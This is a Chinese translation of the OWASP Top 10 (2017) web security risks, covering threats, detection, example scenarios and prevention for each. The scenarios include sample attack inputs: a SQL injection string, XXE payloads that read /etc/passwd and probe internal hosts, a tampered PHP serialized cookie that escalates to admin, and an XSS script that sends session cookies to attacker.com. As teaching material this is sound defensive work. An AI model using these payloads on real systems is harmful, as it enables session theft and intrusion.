说明：owasp top 10其实有中文官方版本；本文是按着英文版进行翻译而成。

官方中文版：http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.02.pdf

官方英文版：https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

一、注入
1.1.1 威胁
很多数据源都可引发注入，包括环境变量、参数及内外部的web services等。当攻击者可以向解析器发送手动构造的数据，且该数据被解析器动态解析时即存在注入风险。

1.1.2 攻击点
注入非常普遍，尤以历史遗留代码为最，一般表现为SQL注入、LDAP注入、XPath注入、NoSQL查询注入、系统命令注入、XML注入、SMTP头部注入、表达示语言注入（？）和ORM查询注入等。
对于注入漏洞扫描器和fuzz工具就很好使，当然你也可以通过代码审计追根究底。

1.1.3 影响
注入最常见的后果是数据库数据被盗取，对普通用户来讲就是当下层出不穷的用户信息泄漏，其对企业信用而言往往是一个不小的冲击。如果可以应用为跳板攻击系统或直接就是可注入系统命令那注入还可能会导致主机直接被控制。

1.2 判断应用是否存在注入的方法
如果应用存在以下情况那么就有比较可能存在注入：
未对用户提交的数据进行合规性检查，没有对不合规时的处理机制
动态参数直接被传入解析器
动态参数直接被用于或拼接入SQL语句、存储过程等
如前所述，注入最常见的是SQL、NoSQL、操作系统命令、ORM、LDAP和EL或OGNL的注入，其要点就是用户提交数据被传入解析器。代码审计应当是应用是否存在注入最彻底的检测手段，重点是检查所有的参数，头部，URL，cookies。JSON，SOAP和XML的输入数据。对于企业等大组织而言使用扫描器则是一种比较合算的方式。

1.3 场景举例
场景1、在下面的SQL语名中应用直接将不受信任的参数“id”的值：
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
场景2、应用盲目信任框架也会导致类似的情况（以HQL为例）：
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在上面的两个例子中，攻击者可随意修改参数“id”的值，比如攻击者设定“id”的值为'or '1'='1，浏览器请求访问链接：http://example.com/app/accountView?id=' or '1'='1，此时表中的所有记录都将会返回。更危险地攻击者还可以修改、删除数据，甚至调用存储过程。

1.4 预防注入的方法
预防注入最重要的是保持对不受信任的（用户侧可修改的）数据保持隔离
最彻底的做法是使用安全的API，这意味着不将参数用于解析器，不提供调用解析器的接口，不将参数用于ORM。
在服务端对参数进行合规性检查，这个方法操作起来可能不是很具有普遍的适用性，因为很多应用可能需要特殊字符，比如text控件或手机应用的API。
对于其他不好处理又还是要提交到解析器的参数，要针对性的进行限制特殊字符，限制其只能执行特定的语法。
注意：SQL语句中，如果用户提交的数据中包含表名、列名等是值得重点怀疑的
在SQL中使用显示数量受限的控件，防止万一存在SQL注入时出现大规模记录泄漏。

二、不安全的身份认证和会话管理（可利用性：3/可检测性：2/技术可行性：3）
2.1.1 威胁
身份认证最常见的是攻击者利用构造成千上万的用户名密码组合进行暴力破解，用户密码组合一般使用常见的账号密码列表，外加使用字典工具生成密码。
会话管理最常见的则是盗取未失效的token。
2.1.2 攻击点
身份认证和会话管理广泛分布于具有状态应用中。攻击者通常通过手工发现登录点，然后使用自动化暴力破解工具加字典进行攻击。
2.1.3 影响
通过暴力破解，攻击者可能只能获取少数几个或仅仅只是管员理的账号，此攻击造成的影响，取决于应用的功能有可能导致金钱损失，社工，身份盗用或者高度敏感信息泄漏等。

2.1 如可判断应用是否存在此类漏洞
检验用户标识，身份认证机制和会话管理机制足够严谨，能够抵御身份认证相关的和类攻击。以下是应用可能存在的薄弱环节：
系统允许自动填充用户名密码且不要求输入验证码
系统允许无限次尝试用户名密码
系统允许使用弱口令
系统忘记密码功能不严谨，比如基于常识性问题的密码恢复
系统用户名密码直接使用明文或只进行了简单地哈希加密
系统未使用除密码外的多因素认证
系统在用户登录成功后不更新其session id
系统在用户退出后或长时间不操作后未正确销毁其session id

2.3 场景举例
场景1、暴力破解是常用的攻击手法。如果程充没有应对暴力破解的手段，那么攻击者就可以无限次地猜解账号。
场景2、系统只使用了密码作为单一的认证因素是身份认证攻击的主要诱因。针对当前日益严俊的安全形势，定时更改密码，使用复杂密码，甚至使用多因素进行认证是更为推荐的做法。
场景3、会话超时未正确配置。当用户使用一台公用的电脑登录应用当其离开时没有明确选择退出而只是简单关闭了网页，过了很长时间--比如个把小时后--攻击者使用同一流览器去访问同样的网页其依然可以使用前一登录者的身份。

2.4 预防措施
尽可能使用多因素认证以预防暴力破解和凭证重用
不要提示默认凭证，尤其是管理员账号
检查使用的密码是否是弱口令
对密码长度，复杂度和更改周期做出要求
对验证错误次数进行限制，当检测到暴力破解时通知管理员
采用基于服务端的会话管理，当用户登录后重新生成高度随机的session ID，session id不要出现在url中，确保用户退出或长时间不操作后session被正确置为失效

三、敏感信息泄漏
3.1.1 威胁
相比于直接攻击加密数据，攻击者更常从客户端或数据传输途中盗取密钥、进行中间人攻击或者盗取明文数据。
3.1.2 攻击点
近几年来敏感信息泄漏的影响力越来越大，明文数据面监风险最大，进行简单哈希处理或使用弱加密算法弱加密密钥的数据也不能算安全。在数据传输流程中服务器端比较容易进行保护，但在网络或客户端侧则比较困难。
3.1.3 影响
一般来说，只有敏感信息才需要进行加密保保，这些信息包括健康状况、身份证、个人数据及信用卡信息等。在欧盟等组织或国家，法律对这些数据明确进行了保护，由此可见这些数据泄漏可能造成的影响。

3.1 如何判断应用是否存在此类漏洞
首先要明确哪些数据需要进行保护。比如口令、信用卡号、健康记录、个人信息及商业机密等，对于这些数据要进行以下验证：
数据是否明文传输，使用协议是否http、smtp和ftp等没有加密的协议
数据--包括备份数据--是否明文保存
是否使用弱加密算法
是否使用了弱密钥，是否使用弱密钥生成算法，是否重用密钥，或者是否使用有规律的密钥
是否强制进行了加密，客户端是否可配置不加密
如果接收到客户端有效凭证，客户端是否进行验证（？）

3.3 场景示例
场景1、应用使用数据库默认的加密算法对信用卡号进行加密，但当执行查询时自动解密，当存在SQL注入漏洞时攻击都还是可以获取明文件信用卡号
场景2：网站未强制所有页面使用TSL或者使用了有漏洞的加密套件，攻击者通过监视网络流量，将连接从https降级到http，截取请求然后盗取用户的会话cookie。攻击者替换cookie注入用户已验证的会话，访问或修改用户的个人数据，最危险的是涉及金钱交易的场景。
场景3、数据库中的账号密码未加盐只进行了简单的哈希处理，文件下载漏洞会导致攻击者可以获取数据库文件，当只用hash处理时攻击者可通过彩虹表或者预先计算的哈希值进行暴力破解攻击。即便加盐也可通过GPU加速进行破解。

3.4 预防措施
分类处理、存储和传输数据，按照法律要求、管理要求或商业需求处理好敏感信息。
对各类资产进行按其等级进行保护
如非必要不要存储敏感信息，只要数据不保存就难以被窃取
确保对保存的敏感信息进行了加密
使用健壮而标准的加密算法、协议和密钥，并管理好密钥
对数据使用TLS等加密算法和高强度的加密套件进行加密传输，加密算法套件最好由服务端指定。强制使用HSTS
不要对敏感数据保留缓存
使用加盐的哈希算法保存密码
确保各项安全配置都正确生效

A4 XML外部实体
4.1.1威胁
当攻击者可以上传xml文件或可以在xml文件中包含恶意内容，攻击者就可以攻击xml进程
4.1.2攻击点
许多老的xml处理程序当xml被处理时允许通过URI指定一个外部实体。SAST工具可以通过检查依赖和配置发现此类漏洞。
DAST工具则需要一些手工操作的配合。如果这些工具都无效那就只能用纯手工检测
4.1.3影响
这类漏洞可被用于导出数据，在服务器发起一个远程请求，扫描内部系统，进行拒绝服务等。其影响取决于受影响的应用和数据的重要程度。

4.2 如何判断应用是否存在此类漏洞
如果一个基于xml的服务具有以下特征那就存在有此类漏洞的风险：
应用直接从不受信任源接收xml或接收上传的xml文件，或者是将接收的内容插入到会被xml解析器解析的xml文件中
一般应用中的xml解析器或基于SOAP的web服务都启用了文档类型定义。如果有一台机器禁用了文档类型定义，那可以参考
如果使用SAML作为认证，由于SAML使用了xml标识凭证，这有可能会被攻击
如果应用使用了SOAP1.2之前的版本，且xml实体被发送到soap框架进行处理，那么有可能存在xxe攻击
如果系统存在xxe攻击那意味着可对系统进行拒绝服务攻击

4.2场景举例
当前已发现多种xxe攻击方式，包括嵌入式设备都受到了影响。xxe攻击经常发生在很多意想不到的地方，比如说代码深层的函数依赖。在以下场景中很容易上传恶意的xml文件
场景1、攻击者尝试从服务器导出数据：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
场景2、攻击者通过修改上边中的ENTITY行来探测服务器所在私网：
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
场景3、攻击者通过包含一个无穷大的文件来对服务器进行拒绝服务攻击：
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

4.3预防措施
开发者需要认识xxe，除此之外，预防xxe还要做到以下几点：
尽量不使用像json等复杂的数据结构，避免敏感信息的反序列化
将系统和应用中使用的xml解析器和库文件更新到最新版本，进行依整检查，将soap升级到1.2或以上版本
在所有用到xml的应用中禁用xml外部实体和DTD处理
在服务器端对输入进行合法性验证、过滤、标准化以防止恶意数据中包含xml文件、xml头部和xml节点
检验xml或xsl文件处理函数的合理性，对xml进行xsd或类似的检查
对于SAST工具可以帮助我们在旁杂的源代码中发现xxe漏洞，当然手动进行代码审计那是最好的办法。
如果这些手段都不能实行，可以考滤虚拟补丁，API安全网关或web应用防火墙进行检测，监视，过滤xxe攻击。

五、不安全的访问控制
5.1.1威胁
攻击访问控制是攻击者的一项看家本领。SAAT和DAST工具可以检测访问控制手段的缺失但当手段存在时无法验证其是否恰当。所以对于特定框架可以借助自动化工具检测访问控制的缺失，但最好的方法还是手工检验
5.1.2攻击点
访问控制经常出现问题一是缺少自动化的检测手段，二是因为开发者缺少有效的方法进行检测
访问控制不太适用于动态或静态的自动化检测，手工是最好的检测方式，包括检测http put方法，控制器，直接对像引用等。
在技术影响上表现为攻击者以用户或管理员身份，或用户使用特权功能，创建，访问，更新或删除数据。
商业影响方面取决于应用和数据的重要性

5.2 如何判断应用是否存在此类漏洞
访问控制就是要限制用户不能具有允许范围之外的权限。访问控制的失效，典型地表现为比如未授权信息的泄漏，修改或删除，又如限定之外的功能被执行。通常访问控制漏洞有以下情形：
访问控制检查可以通过URL，应用内部状态，html页面或自定义的攻击工具进行更改
水平越权，可以切换为他人的账号身份，可以查看或编缉其他人的账号。
垂直越权，比如未登录用户具有已登录用户的功能，已登录的普通用户具有管理员的权限
元数据更改，比如
CORS配置错误允许使用未授权的API
未登录用户直接访问已登录用户才有链接的页面，普通用户访问管理员用户才有链接的页面。访问没有POST、PUT和DELETE方法进行访问控制的API

5.3 场景举例
场景1、应用在SQL语句中使用了未验证的数据：
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻击者只需要简单地修改acct参数的值为他们想要的账号值，如果没有检验攻击者可以访问任何用户的账号：
场景2、攻击者强制浏览器访问目标URL。访问管理员页面需要管理员权限
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
如果未登录用户可以访问这些页面，这便是漏洞；如果非管理员账号可以访问这些页面，这也是漏洞

5.4预防措施
访问控制仅是服务器端编码的原因，攻击者无法改变系统逻辑
如果非公开资源，默认要禁止访问
在系统中反复进行访问控制检测，
整个域中应该执行统一的访部限制规则
禁止web服务器列出目录文件，确保元数据和备份文件不存在于web根目录下
对访问控制进行记录，必要时通知管理员
限制API和控制器的访问频率，以防止自动化工具的攻击
退出时应在服务端将JWT token置为失效
开发者和测试人员应当对功能级访问控制和整体进行测试

六、安全配置错误
6.1.1威胁
攻击者可能利用服务未打补丁的漏洞攻击服务，或访问服务的默认账号获取权限，又或者访问服务的默认文件和文件夹获取系统信息。
6.1.2攻击点
应用配置错误可能会发生在应用栈的任何一层，网络、主机、web服务器、应用服务器、数据库、程序框架、自身代码、虚拟机、容器或存储都有可能。对于配置错误、默认账号、默认配置、开启了不必要的服务等的检测扫描器是很好的检测手段。
6.1.3影响
此类漏洞经常会使攻击者能获取系统的一些数据或功能，严重时会导致系统的沦陷。
商业影响还是一样取决于系统和系统数据的重要性。

6.2如何判断应用是否存在此类漏洞
如果系统具有以下情况那就有可能存在此类漏洞：
在整个应用栈中没有任何安全保护措施，对于云服务则是使用一些不恰当的配置
不必要的功能被启用，比如启用不必要的端口、服务、页面、账号及权限
默认账号还在启用且密码还不做更改
把错误调试信息或者其他过于详细的错误信息发送给用户
系统更新被禁用或配置错误
应用服务器、应用框架（如struts，spring，asp.net）、依赖库、数据库等未正确配置
服务器头部发送版本号等信息
使用的软件版本过旧甚至已发现漏洞
如果没有合适而统一的配置策略，系统总会处于高风险之中

6.3场景举例
场景1、具有已知漏洞的示例应用未从应用服务器中的移除，攻击者可以借之攻击服服器，只要其中一个示例应用以管理员权限启动，且有默认账号密码未密除攻击者就可以攻破系统。

场景2、服务未禁止目录列出。攻击者通过列出目录功能下载到了java class文件，然后通过反编译还原出源代码，这样就可以通过代码审计发现其中的访问控制漏洞。

场景3、服务器配置允许向用户返回详细的报错信息（比如堆栈追踪信息），这可能会曝露一些敏感信息或潜在漏洞，比如说信息中包含有服务器组件的版本号，而该版本的组件存在已知漏洞。

场景4、云服务向互联网其他CSP用户默认提供共享权限，这可能导致存储于云端的数据文件可能会被其他人访问

6.4预防措施
应当实行安全的安装配置流程，其中包括以下几点：
应当定制一个统一的可重用的处理流程以便可以简便地发布应用。
应当进行最小化安装，移除一切不必要的特性、组件、文档和示例。
检查更新和查看更新说明要成为补丁管理的一部份，尤其要注意云存储权限。
采用分离的应用架构，组件与组件之间要做好分离
只向客户端发送安全的信息
使用自动化程序对所有配置进行合规扫描

七、跨站脚本攻击
7.1.1 威胁
现在有很多免费的扫描器都可以完成三种跨站脚本攻击方式的扫描。
7.1.2 攻击点
跨站脚本攻击是OWASP Top 10的第二常客，大概三分之二的应用都存在此类漏洞
自动化工具可以扫描跨站漏洞，尤其是PHP，J2EE和.NET等标准技术中
7.1.3 影响
跨站有客户端反射跨站、服务端反射跨站和存储型跨站三种表现形式，跨站攻南通过在用户浏览器执行远程代码可盗用户凭证、会话ID或者下载木马等。

7.2 如何判断应用是否存在此类漏洞
跨站通常具有以下三种型式：
反射型跨站：应用或API将用户输入作为html输出的一部份，攻击者会设法将可执行的html或js发送到受害者浏览器。在攻击中通常是用户点击恶意链接后会跳转到攻击者控制的页面，比如恶意页面、广告页面等等。
存储型跨站：应用或API保存未经检验的用户输入，且这些输入可以被其他用户或管理员用户查看时，就可能引发存储型跨站。一般而言存储型跨站的危害程序都是比较大的。
DOM型跨站：会动态包含攻击者可控数据到网页中的JavaScript框架、单页应用以及API都有可能导致DOM型跨站。最好的做法是应用不要把攻击者可控的数据发到没有安全保证的js api中。
从结果上看，典型的跨站攻击包括会话盗取、账号盗用、DOM树结点被替换或破坏和对用户浏览器进行小型软件下载、key记录及其他客户端攻击。

7.3场景举例
场景1、应用在HTML标签中使用不受信任的记录并且没有进行合法化检查：
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻击者在浏览器端修改参数CC的值如下：
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
用户会话ID会被发送到攻击者的网站，攻者者通过或取的会话ID或取用户的当前会话。
注意：攻击者可以通过跨站使网站所有的CSRF防御措施失效。

7.4 预防措施
预防跨站需要从浏鉴2器提交中分离不受信任的数据
使用自动防御跨站的的框架，比如最新的Ruby on Rails、React JS等。当然框架也不能确保万无一失所以要了解框架有哪些已发现的漏洞或者没有覆盖到的地方。
避免不受信任http请求数据输出到响应页面中（包括body、属性、JavaScript、CSS或者URL）
对敏感字符进行编码处理
内容安全策略是是一种深度预防跨站的措施，如果没有其他如本地件包含等可改变本地文件编码的的漏洞那么这是一种很有效的方法。

八、不安全的反序列化
8.1.1 威胁
在某种程度上说反序列化漏洞是比较困难的，一是因为反序列化比相对少，二是在不同代码中反序列化并没有统一的形式

8.1.2 攻击点
反序列化之所以列为Top10之一，不是基于数量而是基于其产业影响。一些工具可以检测反序列化漏洞，但经常还是需要手工去验证。可以预见为了保证其有效性用于反序列化的数据会随着工具的更新而更新。

8.1.3 影响
反序列漏洞的影响是不能轻描淡写，因为借由反序列化能实现远程代码执行，而远程代码执行为最严重的漏洞也不为过。
商业影响依然是取决于应用和数据的重要性

8.2 如何判断应用是否存在此类漏洞
如果应用或API反序列化攻击者可修改的对像那么就有可能存在此类漏洞。如下是两类最主要的攻击类型：
如果应用存在反序列化后可改变其原来用途的类那么攻击者就能随意修改程序逻辑或文件，实现远程代码执行。
典型的数据欺骗攻击，比如存在数据结构可被修改的访问控制类相关的攻击。
在应用中序列化可能用于以下场景：
远程过程调用与内部进程通讯（RPC/IPC）
无线协议、web services、消息中继
缓存
数据库服务器、缓存服务器和文件系统服务器
http cookies/html表单参数/api验证token

8.3 场景举例
场景1、一个React应用调用一个Spring启动的微型服务。在函数中为了确保代码不会被改变，程序将用户状态序列化并对每个请求都用其进行比对。一个攻击者注意到了一个叫“R00”的java对象标志，然后使用java序列化击杀工具在应用服务中增加远程代码。
场景2、一个PHP写的论坛使用PHP对象序列化保存“super”的cookie，里边包括用户的ID，角色，口令哈希及其他内容：a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}一个攻击攻改变了序列化对像的内容给其增加了管理员的权限：a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

8.4 预防措施
安全的做法是只序列化预先处理设定好的数据不序列化来自不受信任的数据源的数据，如果实在需要序列化不受信任的数据，那么尝试使用以下一个或多个措施：
对要序列化的对象实行如数据摘要等严格的检查，以防恶意的对象构造或数据欺骗
在反序列化对象创建之前进行严格的类型约束，确保反序列化的是预定义的类。些类措施的绕过技术已经出现过，所以单纯依赖这一方法是不推荐的。
尽量在隔离或低权限环境中运行反序列化的代码
对异常或失败的反序列化进行记录，比如接收了非预期的类型或反序列化抛出异常。
严格限制和监视容器或服务器反序列化的网络连入和连出
监视反序列化，当某个用户不断进行反序列化时发出警告。

九、使用具有已知漏洞的组件
9.1.1威胁
有时可以很容易地获取现成的exp，有时则需要自己去按需修改exp。

9.1.2攻击点
使用具有已知漏洞组件的问题广泛存在。在基于组件开发的环境中，开发者甚至有时不清楚他们应用中使用了哪些组件，更不要说保持对组件的持续更新。
像retire.js等扫描器可以用于检测，但漏洞是否可用还需要手工去进行验证。

9.1.3 影响
已知的组件漏洞一般影响比较小而且在最新版本中一般都会进行修正。
漏洞的影响取决于资产的全全保护等级。

9.2如何判断应用是否存在此类漏洞
以下情况很可能会存在此类问题：
你并不清楚自己所用所有组件的版本（客户端和服务端），包括直接使用的组件和依赖的组件。
软件存在漏洞，软件官方已不支持或者软件支持已过期，包括操作系统、web/应用服务器、DBMS、应用、API、所有组件、运行环境及代码库等。
没有定期进行漏洞扫描，也没有订阅使用的相关组件的漏洞通告
没有修复或升级底层平台、框架。当漏洞已发现而补丁要数月才能发布时最容易受到攻击。
软件开发者没有测试补丁对更新、升级和修复代码库的通用性，可能会导致漏洞未完成修复。
对组件配置不清楚。

9.3 场景举例
场景1、组件通常是与应用使用相同的主机账号运行，所以某个组件有漏洞都可能造成严重的影响。组件漏洞有可能是无意的（比如单纯的代码编写错误）也可能是有意的（比如后门）。下边是一些组件漏洞的例子：
CVE-2017-5638是一个struts2远程代码执行漏洞，可以在服务器端执行任意代码，这个漏洞现在有很多变种。
在当下物联网往往是很难或者基本不会修复的，对这一块漏洞进行处理相当重要。
有些攻击工具可以协助攻击者发现未打补丁或配置不当的系统。比如联网设备搜索引擎shodan可以检测仍然存在“心脏出血”漏洞的设备，其实该漏洞已于2014年4月已发布补丁。

9.4预防措施
应在以下位置中采取补丁管理措施
移除不使用的依赖、不必要的特色、组件、文件和文档
使用版本检测、依赖检测、retire.js等工具，不时检查客户端和服务端组件的版本（比如框架和库）。要持续关注CVE和NVD中相关组件的漏洞。使用软件分析工具进行检测。订阅在用组件的邮件漏洞萭告。
仅从官方安全链接获取组件，最好比对软件签名减少软件包被修改或包含细微插件的可能性。
留意没有或因版本过低不再有安全补丁的库和组件。如果补丁确实不可用，可以考滤采用一些别的办法去监视、检测和应对发现的问题。
每个组织都应当在应用的整个生命周期中要时刻进行监测、审计和执行更新或更改配置。

十、记录和监控不足
10.1.1威胁
记录和监控的不足往往是各种安全事件的温床。攻击者得益于监控手段的缺失和及时的响应而可以实现他们的目标且不被发现。
10.1.2攻击点
记录和监控不足被列为top 10是基于行业调查的结果。
是否存在记录和监控不足一个最直接的判断方法是检查日志能否追踪渗透测试。
对测试者的操作要记录得比较清晰，以便能容易地理解可能面临的攻击和危害。

10.1.3影响
最成功的攻击攻击也开始于漏洞探测，允许持续的探测就意味着提高了攻击的成功率。
2016年，识别一个攻击平均耗时191天，这给漏洞攻击的实施留下了充裕的时间。

10.2如何判断应用是否存在此漏洞
日志、检测、监控和主动防御的缺失在时刻发生着
可审计事件，比如登录、登录失败及高价值的事务没有被记录
应用和api的日志没有被主动怀疑。
日志只存放在本地
没有配置适当的告警阀值，响应措施也形同虚设
DAST类扫描工具不会触发告警。
应用对攻击不能做到实时或准实时地检测和告警
如果日志和告警做成可视化展示那么有可能引起信息泄漏。

10.3场景举例
场景1、一个小团队运营的开源论坛项目被通过他们自己软件自身的漏洞攻击。攻击者计划删除包含下一版本的镜像仓库，以及论坛的所有内容。尽管源代码可能被恢复，但更大的问题是这一事件完全反应出了项目中监控、记录和告警功能的缺失，这直接导致了该论坛项目不再活跃。
场景2、攻击者使用密码字典扫描用户，对于成功匹配密码的账号攻击者可以完全占有，而对于没成功的账号在后台也只记录下了登录失败。过段时间，成功匹配密码的账号可能就被修改成了复杂密码。
场景3、据报导一个美国主要的零售商有一个内部的恶意分析沙箱用于分析攻击。该沙箱软件成功检测到了具有潜在风险的软件，但并没有人就此做出响应。在被一个银行由于恶性卡事件而检测到破坏之前，该沙箱已经进行了多次告警。

10.4预防措施对
对于应用对数据的存储和处理要做到以下几点
保证所有登录、访问控制失败、输服端输入校验失败要有明确的内容记录，以足以识别可疑的账号和便于又好又快地进行分析取证。
采用的日志格式应能容易地被集中日志管理系统所读取
对于高价值的事务要有能防窜改和删除的审计追踪，例如只能追加的数据库表或其他类似的手段。
建立有效的监测和告警系统，比如当可疑被检测到时要有及时的响应。
建立或采取一个应急响应和恢复预案
现在有很多商业或开源的保护框架如owasp appsensor、应用防火墙如采用owasp模块安全核心规则的ModSecurity和可自定义仪表和告警的日志关联软件。